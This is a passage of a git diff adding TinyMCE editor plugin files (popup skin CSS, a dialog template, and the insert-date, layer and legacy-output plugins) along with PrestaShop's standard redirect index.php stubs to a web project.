b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif new file mode 100755 index 0000000..0b4cc36 Binary files /dev/null and b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif differ diff --git a/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/index.php b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/window.css b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/window.css new file mode 100755 index 0000000..a50d4fc --- /dev/null +++ b/js/tiny_mce2/plugins/inlinepopups/skins/clearlooks2/window.css @@ -0,0 +1,90 @@ +/* Clearlooks 2 */ + +/* Reset */ +.clearlooks2, .clearlooks2 div, .clearlooks2 span, .clearlooks2 a {vertical-align:baseline; text-align:left; position:absolute; border:0; padding:0; margin:0; background:transparent; font-family:Arial,Verdana; font-size:11px; color:#000; text-decoration:none; font-weight:normal; width:auto; height:auto; overflow:hidden; display:block} + +/* General */ +.clearlooks2 {position:absolute; direction:ltr} +.clearlooks2 .mceWrapper {position:static} +.mceEventBlocker {position:fixed; left:0; top:0; background:url(img/horizontal.gif) no-repeat 0 -75px; width:100%; height:100%} +.clearlooks2 .mcePlaceHolder {border:1px solid #000; background:#888; top:0; left:0; opacity:0.5; -ms-filter:'alpha(opacity=50)'; filter:alpha(opacity=50)} +.clearlooks2_modalBlocker {position:fixed; left:0; top:0; width:100%; height:100%; background:#FFF; opacity:0.6; -ms-filter:'alpha(opacity=60)'; filter:alpha(opacity=60); display:none} + +/* Top */ +.clearlooks2 .mceTop, .clearlooks2 .mceTop div {top:0; width:100%; height:23px} +.clearlooks2 .mceTop .mceLeft {width:6px; background:url(img/corners.gif)} +.clearlooks2 .mceTop .mceCenter {right:6px; width:100%; height:23px; background:url(img/horizontal.gif) 12px 0; clip:rect(auto auto auto 12px)} +.clearlooks2 .mceTop .mceRight {right:0; width:6px; height:23px; background:url(img/corners.gif) -12px 0} +.clearlooks2 .mceTop span {width:100%; text-align:center; vertical-align:middle; line-height:23px; font-weight:bold} +.clearlooks2 .mceFocus .mceTop .mceLeft {background:url(img/corners.gif) -6px 0} +.clearlooks2 .mceFocus .mceTop .mceCenter {background:url(img/horizontal.gif) 0 -23px} +.clearlooks2 .mceFocus .mceTop .mceRight {background:url(img/corners.gif) -18px 0} +.clearlooks2 .mceFocus .mceTop span {color:#FFF} + +/* Middle */ +.clearlooks2 .mceMiddle, .clearlooks2 .mceMiddle div {top:0} +.clearlooks2 .mceMiddle {width:100%; height:100%; clip:rect(23px auto auto auto)} +.clearlooks2 .mceMiddle .mceLeft {left:0; width:5px; height:100%; background:url(img/vertical.gif) -5px 0} +.clearlooks2 .mceMiddle span {top:23px; left:5px; width:100%; height:100%; background:#FFF} +.clearlooks2 .mceMiddle .mceRight {right:0; width:5px; height:100%; background:url(img/vertical.gif)} + +/* Bottom */ +.clearlooks2 .mceBottom, .clearlooks2 .mceBottom div {height:6px} +.clearlooks2 .mceBottom {left:0; bottom:0; width:100%} +.clearlooks2 .mceBottom div {top:0} +.clearlooks2 .mceBottom .mceLeft {left:0; width:5px; background:url(img/corners.gif) -34px -6px} +.clearlooks2 .mceBottom .mceCenter {left:5px; width:100%; background:url(img/horizontal.gif) 0 -46px} +.clearlooks2 .mceBottom .mceRight {right:0; width:5px; background: url(img/corners.gif) -34px 0} +.clearlooks2 .mceBottom span {display:none} +.clearlooks2 .mceStatusbar .mceBottom, .clearlooks2 .mceStatusbar .mceBottom div {height:23px} +.clearlooks2 .mceStatusbar .mceBottom .mceLeft {background:url(img/corners.gif) -29px 0} +.clearlooks2 .mceStatusbar .mceBottom .mceCenter {background:url(img/horizontal.gif) 0 -52px} +.clearlooks2 .mceStatusbar .mceBottom .mceRight {background:url(img/corners.gif) -24px 0} +.clearlooks2 .mceStatusbar .mceBottom span {display:block; left:7px; font-family:Arial, Verdana; font-size:11px; line-height:23px} + +/* Actions */ +.clearlooks2 a {width:29px; height:16px; top:3px;} +.clearlooks2 .mceClose {right:6px; background:url(img/buttons.gif) -87px 0} +.clearlooks2 .mceMin {display:none; right:68px; background:url(img/buttons.gif) 0 0} +.clearlooks2 .mceMed {display:none; right:37px; background:url(img/buttons.gif) -29px 0} +.clearlooks2 .mceMax {display:none; right:37px; background:url(img/buttons.gif) -58px 0} +.clearlooks2 .mceMove {display:none;width:100%;cursor:move;background:url(img/corners.gif) no-repeat -100px -100px} +.clearlooks2 .mceMovable .mceMove {display:block} +.clearlooks2 .mceFocus .mceClose {right:6px; background:url(img/buttons.gif) -87px -16px} +.clearlooks2 .mceFocus .mceMin {right:68px; background:url(img/buttons.gif) 0 -16px} +.clearlooks2 .mceFocus .mceMed {right:37px; background:url(img/buttons.gif) -29px -16px} +.clearlooks2 .mceFocus .mceMax {right:37px; background:url(img/buttons.gif) -58px -16px} +.clearlooks2 .mceFocus .mceClose:hover {right:6px; background:url(img/buttons.gif) -87px -32px} +.clearlooks2 .mceFocus .mceClose:hover {right:6px; background:url(img/buttons.gif) -87px -32px} +.clearlooks2 .mceFocus .mceMin:hover {right:68px; background:url(img/buttons.gif) 0 -32px} +.clearlooks2 .mceFocus .mceMed:hover {right:37px; background:url(img/buttons.gif) -29px -32px} +.clearlooks2 .mceFocus .mceMax:hover {right:37px; background:url(img/buttons.gif) -58px -32px} + +/* Resize */ +.clearlooks2 .mceResize {top:auto; left:auto; display:none; width:5px; height:5px; background:url(img/horizontal.gif) no-repeat 0 -75px} +.clearlooks2 .mceResizable .mceResize {display:block} +.clearlooks2 .mceResizable .mceMin, .clearlooks2 .mceMax {display:none} +.clearlooks2 .mceMinimizable .mceMin {display:block} +.clearlooks2 .mceMaximizable .mceMax {display:block} +.clearlooks2 .mceMaximized .mceMed {display:block} +.clearlooks2 .mceMaximized .mceMax {display:none} +.clearlooks2 a.mceResizeN {top:0; left:0; width:100%; cursor:n-resize} +.clearlooks2 a.mceResizeNW {top:0; left:0; cursor:nw-resize} +.clearlooks2 a.mceResizeNE {top:0; right:0; cursor:ne-resize} +.clearlooks2 a.mceResizeW {top:0; left:0; height:100%; cursor:w-resize;} +.clearlooks2 a.mceResizeE {top:0; right:0; height:100%; cursor:e-resize} +.clearlooks2 a.mceResizeS {bottom:0; left:0; width:100%; cursor:s-resize} +.clearlooks2 a.mceResizeSW {bottom:0; left:0; cursor:sw-resize} +.clearlooks2 a.mceResizeSE {bottom:0; right:0; cursor:se-resize} + +/* Alert/Confirm */ +.clearlooks2 .mceButton {font-weight:bold; bottom:10px; width:80px; height:30px; background:url(img/button.gif); line-height:30px; vertical-align:middle; text-align:center; outline:0} +.clearlooks2 .mceMiddle .mceIcon {left:15px; top:35px; width:32px; height:32px} +.clearlooks2 .mceAlert .mceMiddle span, .clearlooks2 .mceConfirm .mceMiddle span {background:transparent;left:60px; top:35px; width:320px; height:50px; font-weight:bold; overflow:auto; white-space:normal} +.clearlooks2 a:hover {font-weight:bold;} +.clearlooks2 .mceAlert .mceMiddle, .clearlooks2 .mceConfirm .mceMiddle {background:#D6D7D5} +.clearlooks2 .mceAlert .mceOk {left:50%; top:auto; margin-left: -40px} +.clearlooks2 .mceAlert .mceIcon {background:url(img/alert.gif)} +.clearlooks2 .mceConfirm .mceOk {left:50%; top:auto; margin-left: -90px} +.clearlooks2 .mceConfirm .mceCancel {left:50%; top:auto} +.clearlooks2 .mceConfirm .mceIcon {background:url(img/confirm.gif)} diff --git a/js/tiny_mce2/plugins/inlinepopups/skins/index.php b/js/tiny_mce2/plugins/inlinepopups/skins/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/js/tiny_mce2/plugins/inlinepopups/skins/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/inlinepopups/template.htm b/js/tiny_mce2/plugins/inlinepopups/template.htm new file mode 100755 index 0000000..c98fe41 --- /dev/null +++ b/js/tiny_mce2/plugins/inlinepopups/template.htm @@ -0,0 +1,387 @@ + + + +Template for dialogs + + + + +
    +
    +
    +
    +
    +
    +
    + Blured +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Focused +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Statusbar +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Statusbar, Resizable +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Resizable, Maximizable +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Blurred, Maximizable, Statusbar, Resizable +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Maximized, Maximizable, Minimizable +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Blured +
    + +
    +
    + Content +
    +
    + +
    +
    +
    +
    + Statusbar text. +
    + + + + + + + + + + + + + + +
    +
    + +
    +
    +
    +
    +
    +
    + Alert +
    + +
    +
    + + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + +
    +
    +
    + +
    +
    +
    +
    +
    + + + Ok + +
    +
    + +
    +
    +
    +
    +
    +
    + Confirm +
    + +
    +
    + + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + This is a very long error message. This is a very long error message. + +
    +
    +
    + +
    +
    +
    +
    +
    + + + Ok + Cancel + +
    +
    +
    + + + diff --git a/js/tiny_mce2/plugins/insertdatetime/editor_plugin.js b/js/tiny_mce2/plugins/insertdatetime/editor_plugin.js new file mode 100755 index 0000000..938ce6b --- /dev/null +++ b/js/tiny_mce2/plugins/insertdatetime/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.InsertDateTime",{init:function(a,b){var c=this;c.editor=a;a.addCommand("mceInsertDate",function(){var d=c._getDateTime(new Date(),a.getParam("plugin_insertdate_dateFormat",a.getLang("insertdatetime.date_fmt")));a.execCommand("mceInsertContent",false,d)});a.addCommand("mceInsertTime",function(){var d=c._getDateTime(new Date(),a.getParam("plugin_insertdate_timeFormat",a.getLang("insertdatetime.time_fmt")));a.execCommand("mceInsertContent",false,d)});a.addButton("insertdate",{title:"insertdatetime.insertdate_desc",cmd:"mceInsertDate"});a.addButton("inserttime",{title:"insertdatetime.inserttime_desc",cmd:"mceInsertTime"})},getInfo:function(){return{longname:"Insert date/time",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/insertdatetime",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_getDateTime:function(e,a){var c=this.editor;function b(g,d){g=""+g;if(g.length +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/layer/editor_plugin.js b/js/tiny_mce2/plugins/layer/editor_plugin.js new file mode 100755 index 0000000..ca3857a --- /dev/null +++ b/js/tiny_mce2/plugins/layer/editor_plugin.js @@ -0,0 +1 @@ +(function(){function a(b){do{if(b.className&&b.className.indexOf("mceItemLayer")!=-1){return b}}while(b=b.parentNode)}tinymce.create("tinymce.plugins.Layer",{init:function(b,c){var d=this;d.editor=b;b.addCommand("mceInsertLayer",d._insertLayer,d);b.addCommand("mceMoveForward",function(){d._move(1)});b.addCommand("mceMoveBackward",function(){d._move(-1)});b.addCommand("mceMakeAbsolute",function(){d._toggleAbsolute()});b.addButton("moveforward",{title:"layer.forward_desc",cmd:"mceMoveForward"});b.addButton("movebackward",{title:"layer.backward_desc",cmd:"mceMoveBackward"});b.addButton("absolute",{title:"layer.absolute_desc",cmd:"mceMakeAbsolute"});b.addButton("insertlayer",{title:"layer.insertlayer_desc",cmd:"mceInsertLayer"});b.onInit.add(function(){var e=b.dom;if(tinymce.isIE){b.getDoc().execCommand("2D-Position",false,true)}});b.onMouseUp.add(function(f,h){var g=a(h.target);if(g){f.dom.setAttrib(g,"data-mce-style","")}});b.onMouseDown.add(function(f,j){var h=j.target,i=f.getDoc(),g;if(tinymce.isGecko){if(a(h)){if(i.designMode!=="on"){i.designMode="on";h=i.body;g=h.parentNode;g.removeChild(h);g.appendChild(h)}}else{if(i.designMode=="on"){i.designMode="off"}}}});b.onNodeChange.add(d._nodeChange,d);b.onVisualAid.add(d._visualAid,d)},getInfo:function(){return{longname:"Layer",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/layer",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_nodeChange:function(c,b,f){var d,e;d=this._getParentLayer(f);e=c.dom.getParent(f,"DIV,P,IMG");if(!e){b.setDisabled("absolute",1);b.setDisabled("moveforward",1);b.setDisabled("movebackward",1)}else{b.setDisabled("absolute",0);b.setDisabled("moveforward",!d);b.setDisabled("movebackward",!d);b.setActive("absolute",d&&d.style.position.toLowerCase()=="absolute")}},_visualAid:function(b,d,c){var f=b.dom;tinymce.each(f.select("div,p",d),function(g){if(/^(absolute|relative|fixed)$/i.test(g.style.position)){if(c){f.addClass(g,"mceItemVisualAid")}else{f.removeClass(g,"mceItemVisualAid")}f.addClass(g,"mceItemLayer")}})},_move:function(j){var c=this.editor,g,h=[],f=this._getParentLayer(c.selection.getNode()),e=-1,k=-1,b;b=[];tinymce.walk(c.getBody(),function(d){if(d.nodeType==1&&/^(absolute|relative|static)$/i.test(d.style.position)){b.push(d)}},"childNodes");for(g=0;g-1){b[e].style.zIndex=h[k];b[k].style.zIndex=h[e]}else{if(h[e]>0){b[e].style.zIndex=h[e]-1}}}else{for(g=0;gh[e]){k=g;break}}if(k>-1){b[e].style.zIndex=h[k];b[k].style.zIndex=h[e]}else{b[e].style.zIndex=h[e]+1}}c.execCommand("mceRepaint")},_getParentLayer:function(b){return this.editor.dom.getParent(b,function(c){return c.nodeType==1&&/^(absolute|relative|static)$/i.test(c.style.position)})},_insertLayer:function(){var c=this.editor,e=c.dom,d=e.getPos(e.getParent(c.selection.getNode(),"*")),b=c.getBody();c.dom.add(b,"div",{style:{position:"absolute",left:d.x,top:(d.y>20?d.y:20),width:100,height:100},"class":"mceItemVisualAid mceItemLayer"},c.selection.getContent()||c.getLang("layer.content"));if(tinymce.isIE){e.setHTML(b,b.innerHTML)}},_toggleAbsolute:function(){var b=this.editor,c=this._getParentLayer(b.selection.getNode());if(!c){c=b.dom.getParent(b.selection.getNode(),"DIV,P,IMG")}if(c){if(c.style.position.toLowerCase()=="absolute"){b.dom.setStyles(c,{position:"",left:"",top:"",width:"",height:""});b.dom.removeClass(c,"mceItemVisualAid");b.dom.removeClass(c,"mceItemLayer")}else{if(c.style.left==""){c.style.left=20+"px"}if(c.style.top==""){c.style.top=20+"px"}if(c.style.width==""){c.style.width=c.width?(c.width+"px"):"100px"}if(c.style.height==""){c.style.height=c.height?(c.height+"px"):"100px"}c.style.position="absolute";b.dom.setAttrib(c,"data-mce-style","");b.addVisual(b.getBody())}b.execCommand("mceRepaint");b.nodeChanged()}}});tinymce.PluginManager.add("layer",tinymce.plugins.Layer)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/layer/editor_plugin_src.js b/js/tiny_mce2/plugins/layer/editor_plugin_src.js new file mode 100755 index 0000000..d31978b --- /dev/null +++ b/js/tiny_mce2/plugins/layer/editor_plugin_src.js @@ -0,0 +1,262 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + function findParentLayer(node) { + do { + if (node.className && node.className.indexOf('mceItemLayer') != -1) { + return node; + } + } while (node = node.parentNode); + }; + + tinymce.create('tinymce.plugins.Layer', { + init : function(ed, url) { + var t = this; + + t.editor = ed; + + // Register commands + ed.addCommand('mceInsertLayer', t._insertLayer, t); + + ed.addCommand('mceMoveForward', function() { + t._move(1); + }); + + ed.addCommand('mceMoveBackward', function() { + t._move(-1); + }); + + ed.addCommand('mceMakeAbsolute', function() { + t._toggleAbsolute(); + }); + + // Register buttons + ed.addButton('moveforward', {title : 'layer.forward_desc', cmd : 'mceMoveForward'}); + ed.addButton('movebackward', {title : 'layer.backward_desc', cmd : 'mceMoveBackward'}); + ed.addButton('absolute', {title : 'layer.absolute_desc', cmd : 'mceMakeAbsolute'}); + ed.addButton('insertlayer', {title : 'layer.insertlayer_desc', cmd : 'mceInsertLayer'}); + + ed.onInit.add(function() { + var dom = ed.dom; + + if (tinymce.isIE) + ed.getDoc().execCommand('2D-Position', false, true); + }); + + // Remove serialized styles when selecting a layer since it might be changed by a drag operation + ed.onMouseUp.add(function(ed, e) { + var layer = findParentLayer(e.target); + + if (layer) { + ed.dom.setAttrib(layer, 'data-mce-style', ''); + } + }); + + // Fixes edit focus issues with layers on Gecko + // This will enable designMode while inside a layer and disable it when outside + ed.onMouseDown.add(function(ed, e) { + var node = e.target, doc = ed.getDoc(), parent; + + if (tinymce.isGecko) { + if (findParentLayer(node)) { + if (doc.designMode !== 'on') { + doc.designMode = 'on'; + + // Repaint caret + node = doc.body; + parent = node.parentNode; + parent.removeChild(node); + parent.appendChild(node); + } + } else if (doc.designMode == 'on') { + doc.designMode = 'off'; + } + } + }); + + ed.onNodeChange.add(t._nodeChange, t); + ed.onVisualAid.add(t._visualAid, t); + }, + + getInfo : function() { + return { + longname : 'Layer', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/layer', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + // Private methods + + _nodeChange : function(ed, cm, n) { + var le, p; + + le = this._getParentLayer(n); + p = ed.dom.getParent(n, 'DIV,P,IMG'); + + if (!p) { + cm.setDisabled('absolute', 1); + cm.setDisabled('moveforward', 1); + cm.setDisabled('movebackward', 1); + } else { + cm.setDisabled('absolute', 0); + cm.setDisabled('moveforward', !le); + cm.setDisabled('movebackward', !le); + cm.setActive('absolute', le && le.style.position.toLowerCase() == "absolute"); + } + }, + + // Private methods + + _visualAid : function(ed, e, s) { + var dom = ed.dom; + + tinymce.each(dom.select('div,p', e), function(e) { + if (/^(absolute|relative|fixed)$/i.test(e.style.position)) { + if (s) + dom.addClass(e, 'mceItemVisualAid'); + else + dom.removeClass(e, 'mceItemVisualAid'); + + dom.addClass(e, 'mceItemLayer'); + } + }); + }, + + _move : function(d) { + var ed = this.editor, i, z = [], le = this._getParentLayer(ed.selection.getNode()), ci = -1, fi = -1, nl; + + nl = []; + tinymce.walk(ed.getBody(), function(n) { + if (n.nodeType == 1 && /^(absolute|relative|static)$/i.test(n.style.position)) + nl.push(n); + }, 'childNodes'); + + // Find z-indexes + for (i=0; i -1) { + nl[ci].style.zIndex = z[fi]; + nl[fi].style.zIndex = z[ci]; + } else { + if (z[ci] > 0) + nl[ci].style.zIndex = z[ci] - 1; + } + } else { + // Move forward + + // Try find a higher one + for (i=0; i z[ci]) { + fi = i; + break; + } + } + + if (fi > -1) { + nl[ci].style.zIndex = z[fi]; + nl[fi].style.zIndex = z[ci]; + } else + nl[ci].style.zIndex = z[ci] + 1; + } + + ed.execCommand('mceRepaint'); + }, + + _getParentLayer : function(n) { + return this.editor.dom.getParent(n, function(n) { + return n.nodeType == 1 && /^(absolute|relative|static)$/i.test(n.style.position); + }); + }, + + _insertLayer : function() { + var ed = this.editor, dom = ed.dom, p = dom.getPos(dom.getParent(ed.selection.getNode(), '*')), body = ed.getBody(); + + ed.dom.add(body, 'div', { + style : { + position : 'absolute', + left : p.x, + top : (p.y > 20 ? p.y : 20), + width : 100, + height : 100 + }, + 'class' : 'mceItemVisualAid mceItemLayer' + }, ed.selection.getContent() || ed.getLang('layer.content')); + + // Workaround for IE where it messes up the JS engine if you insert a layer on IE 6,7 + if (tinymce.isIE) + dom.setHTML(body, body.innerHTML); + }, + + _toggleAbsolute : function() { + var ed = this.editor, le = this._getParentLayer(ed.selection.getNode()); + + if (!le) + le = ed.dom.getParent(ed.selection.getNode(), 'DIV,P,IMG'); + + if (le) { + if (le.style.position.toLowerCase() == "absolute") { + ed.dom.setStyles(le, { + position : '', + left : '', + top : '', + width : '', + height : '' + }); + + ed.dom.removeClass(le, 'mceItemVisualAid'); + ed.dom.removeClass(le, 'mceItemLayer'); + } else { + if (le.style.left == "") + le.style.left = 20 + 'px'; + + if (le.style.top == "") + le.style.top = 20 + 'px'; + + if (le.style.width == "") + le.style.width = le.width ? (le.width + 'px') : '100px'; + + if (le.style.height == "") + le.style.height = le.height ? (le.height + 'px') : '100px'; + + le.style.position = "absolute"; + + ed.dom.setAttrib(le, 'data-mce-style', ''); + ed.addVisual(ed.getBody()); + } + + ed.execCommand('mceRepaint'); + ed.nodeChanged(); + } + } + }); + + // Register plugin + tinymce.PluginManager.add('layer', tinymce.plugins.Layer); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/layer/index.php b/js/tiny_mce2/plugins/layer/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/layer/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/legacyoutput/editor_plugin.js b/js/tiny_mce2/plugins/legacyoutput/editor_plugin.js new file mode 100755 index 0000000..b3a4ce3 --- /dev/null +++ b/js/tiny_mce2/plugins/legacyoutput/editor_plugin.js @@ -0,0 +1 @@ +(function(a){a.onAddEditor.addToTop(function(c,b){b.settings.inline_styles=false});a.create("tinymce.plugins.LegacyOutput",{init:function(b){b.onInit.add(function(){var c="p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li,table,img",e=a.explode(b.settings.font_size_style_values),d=b.schema;b.formatter.register({alignleft:{selector:c,attributes:{align:"left"}},aligncenter:{selector:c,attributes:{align:"center"}},alignright:{selector:c,attributes:{align:"right"}},alignfull:{selector:c,attributes:{align:"justify"}},bold:[{inline:"b",remove:"all"},{inline:"strong",remove:"all"},{inline:"span",styles:{fontWeight:"bold"}}],italic:[{inline:"i",remove:"all"},{inline:"em",remove:"all"},{inline:"span",styles:{fontStyle:"italic"}}],underline:[{inline:"u",remove:"all"},{inline:"span",styles:{textDecoration:"underline"},exact:true}],strikethrough:[{inline:"strike",remove:"all"},{inline:"span",styles:{textDecoration:"line-through"},exact:true}],fontname:{inline:"font",attributes:{face:"%value"}},fontsize:{inline:"font",attributes:{size:function(f){return a.inArray(e,f.value)+1}}},forecolor:{inline:"font",styles:{color:"%value"}},hilitecolor:{inline:"font",styles:{backgroundColor:"%value"}}});a.each("b,i,u,strike".split(","),function(f){d.addValidElements(f+"[*]")});if(!d.getElementRule("font")){d.addValidElements("font[face|size|color|style]")}a.each(c.split(","),function(f){var h=d.getElementRule(f),g;if(h){if(!h.attributes.align){h.attributes.align={};h.attributesOrder.push("align")}}});b.onNodeChange.add(function(g,k){var j,f,h,i;f=g.dom.getParent(g.selection.getNode(),"font");if(f){h=f.face;i=f.size}if(j=k.get("fontselect")){j.select(function(l){return l==h})}if(j=k.get("fontsizeselect")){j.select(function(m){var l=a.inArray(e,m.fontSize);return l+1==i})}})})},getInfo:function(){return{longname:"LegacyOutput",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/legacyoutput",version:a.majorVersion+"."+a.minorVersion}}});a.PluginManager.add("legacyoutput",a.plugins.LegacyOutput)})(tinymce); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/legacyoutput/editor_plugin_src.js b/js/tiny_mce2/plugins/legacyoutput/editor_plugin_src.js new file mode 100755 index 0000000..835a45c --- /dev/null +++ b/js/tiny_mce2/plugins/legacyoutput/editor_plugin_src.js @@ -0,0 +1,139 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + * + * This plugin will force TinyMCE to produce deprecated legacy output such as font elements, u elements, align + * attributes and so forth. There are a few cases where these old items might be needed for example in email applications or with Flash + * + * However you should NOT use this plugin if you are building some system that produces web contents such as a CMS. All these elements are + * not apart of the newer specifications for HTML and XHTML. + */ + +(function(tinymce) { + // Override inline_styles setting to force TinyMCE to produce deprecated contents + tinymce.onAddEditor.addToTop(function(tinymce, editor) { + editor.settings.inline_styles = false; + }); + + // Create the legacy ouput plugin + tinymce.create('tinymce.plugins.LegacyOutput', { + init : function(editor) { + editor.onInit.add(function() { + var alignElements = 'p,h1,h2,h3,h4,h5,h6,td,th,div,ul,ol,li,table,img', + fontSizes = tinymce.explode(editor.settings.font_size_style_values), + schema = editor.schema; + + // Override some internal formats to produce legacy elements and attributes + editor.formatter.register({ + // Change alignment formats to use the deprecated align attribute + alignleft : {selector : alignElements, attributes : {align : 'left'}}, + aligncenter : {selector : alignElements, attributes : {align : 'center'}}, + alignright : {selector : alignElements, attributes : {align : 'right'}}, + alignfull : {selector : alignElements, attributes : {align : 'justify'}}, + + // Change the basic formatting elements to use deprecated element types + bold : [ + {inline : 'b', remove : 'all'}, + {inline : 'strong', remove : 'all'}, + {inline : 'span', styles : {fontWeight : 'bold'}} + ], + italic : [ + {inline : 'i', remove : 'all'}, + {inline : 'em', remove : 'all'}, + {inline : 'span', styles : {fontStyle : 'italic'}} + ], + underline : [ + {inline : 'u', remove : 'all'}, + {inline : 'span', styles : {textDecoration : 'underline'}, exact : true} + ], + strikethrough : [ + {inline : 'strike', remove : 'all'}, + {inline : 'span', styles : {textDecoration: 'line-through'}, exact : true} + ], + + // Change font size and font family to use the deprecated font element + fontname : {inline : 'font', attributes : {face : '%value'}}, + fontsize : { + inline : 'font', + attributes : { + size : function(vars) { + return tinymce.inArray(fontSizes, vars.value) + 1; + } + } + }, + + // Setup font elements for colors as well + forecolor : {inline : 'font', styles : {color : '%value'}}, + hilitecolor : {inline : 'font', styles : {backgroundColor : '%value'}} + }); + + // Check that deprecated elements are allowed if not add them + tinymce.each('b,i,u,strike'.split(','), function(name) { + schema.addValidElements(name + '[*]'); + }); + + // Add font element if it's missing + if (!schema.getElementRule("font")) + schema.addValidElements("font[face|size|color|style]"); + + // Add the missing and depreacted align attribute for the serialization engine + tinymce.each(alignElements.split(','), function(name) { + var rule = schema.getElementRule(name), found; + + if (rule) { + if (!rule.attributes.align) { + rule.attributes.align = {}; + rule.attributesOrder.push('align'); + } + } + }); + + // Listen for the onNodeChange event so that we can do special logic for the font size and font name drop boxes + editor.onNodeChange.add(function(editor, control_manager) { + var control, fontElm, fontName, fontSize; + + // Find font element get it's name and size + fontElm = editor.dom.getParent(editor.selection.getNode(), 'font'); + if (fontElm) { + fontName = fontElm.face; + fontSize = fontElm.size; + } + + // Select/unselect the font name in droplist + if (control = control_manager.get('fontselect')) { + control.select(function(value) { + return value == fontName; + }); + } + + // Select/unselect the font size in droplist + if (control = control_manager.get('fontsizeselect')) 